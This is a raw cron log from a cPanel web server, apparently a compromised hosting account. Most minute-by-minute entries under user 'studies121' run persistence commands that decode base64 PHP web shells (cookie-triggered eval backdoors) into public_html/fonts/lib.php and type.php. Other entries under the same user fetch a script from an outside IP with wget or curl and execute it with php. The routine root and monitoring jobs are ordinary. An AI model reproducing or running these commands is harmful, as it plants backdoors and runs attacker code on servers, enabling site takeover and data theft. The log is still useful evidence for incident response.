Sep 22 14:56:01 ip-184-168-122-23 CROND[30600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:56:01 ip-184-168-122-23 CROND[30601]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:56:01 ip-184-168-122-23 CROND[30599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:56:01 ip-184-168-122-23 CROND[30598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:57:01 ip-184-168-122-23 CROND[30967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:57:01 ip-184-168-122-23 CROND[30968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:57:01 ip-184-168-122-23 CROND[30970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:57:01 ip-184-168-122-23 CROND[30973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:58:01 ip-184-168-122-23 CROND[31196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:58:01 ip-184-168-122-23 CROND[31199]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:58:01 ip-184-168-122-23 CROND[31198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:58:01 ip-184-168-122-23 CROND[31200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:58:01 ip-184-168-122-23 CROND[31201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:59:01 ip-184-168-122-23 CROND[31534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:59:01 ip-184-168-122-23 CROND[31537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:59:01 ip-184-168-122-23 CROND[31538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:59:01 ip-184-168-122-23 CROND[31536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:00:01 ip-184-168-122-23 CROND[31766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:00:01 ip-184-168-122-23 CROND[31768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:00:01 ip-184-168-122-23 CROND[31769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:00:01 ip-184-168-122-23 CROND[31772]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 15:00:01 ip-184-168-122-23 CROND[31773]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:00:01 ip-184-168-122-23 CROND[31770]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 15:00:01 ip-184-168-122-23 CROND[31771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:00:01 ip-184-168-122-23 CROND[31776]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 15:01:02 ip-184-168-122-23 CROND[32008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:01:02 ip-184-168-122-23 CROND[32010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:01:02 ip-184-168-122-23 CROND[32015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:01:02 ip-184-168-122-23 CROND[32014]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 15:01:02 ip-184-168-122-23 CROND[32016]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 15:01:02 ip-184-168-122-23 CROND[32019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32016]: starting 0anacron
Sep 22 15:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32030]: finished 0anacron
Sep 22 15:02:01 ip-184-168-122-23 CROND[32237]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:02:01 ip-184-168-122-23 CROND[32240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:02:01 ip-184-168-122-23 CROND[32239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:02:01 ip-184-168-122-23 CROND[32242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:02:01 ip-184-168-122-23 CROND[32241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:03:01 ip-184-168-122-23 CROND[708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:03:01 ip-184-168-122-23 CROND[709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:03:01 ip-184-168-122-23 CROND[712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:03:01 ip-184-168-122-23 CROND[715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:04:01 ip-184-168-122-23 CROND[2201]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:04:02 ip-184-168-122-23 CROND[2203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:04:02 ip-184-168-122-23 CROND[2205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:04:02 ip-184-168-122-23 CROND[2206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:04:02 ip-184-168-122-23 CROND[2208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:05:01 ip-184-168-122-23 CROND[3726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:05:01 ip-184-168-122-23 CROND[3728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:05:01 ip-184-168-122-23 CROND[3727]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 15:05:01 ip-184-168-122-23 CROND[3729]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 15:05:01 ip-184-168-122-23 CROND[3730]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 15:05:01 ip-184-168-122-23 CROND[3732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:05:01 ip-184-168-122-23 CROND[3738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:06:01 ip-184-168-122-23 CROND[4895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:06:01 ip-184-168-122-23 CROND[4896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:06:01 ip-184-168-122-23 CROND[4898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:06:01 ip-184-168-122-23 CROND[4902]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:06:01 ip-184-168-122-23 CROND[4900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:07:01 ip-184-168-122-23 CROND[5473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:07:01 ip-184-168-122-23 CROND[5476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:07:01 ip-184-168-122-23 CROND[5475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:07:01 ip-184-168-122-23 CROND[5477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:08:01 ip-184-168-122-23 CROND[5759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
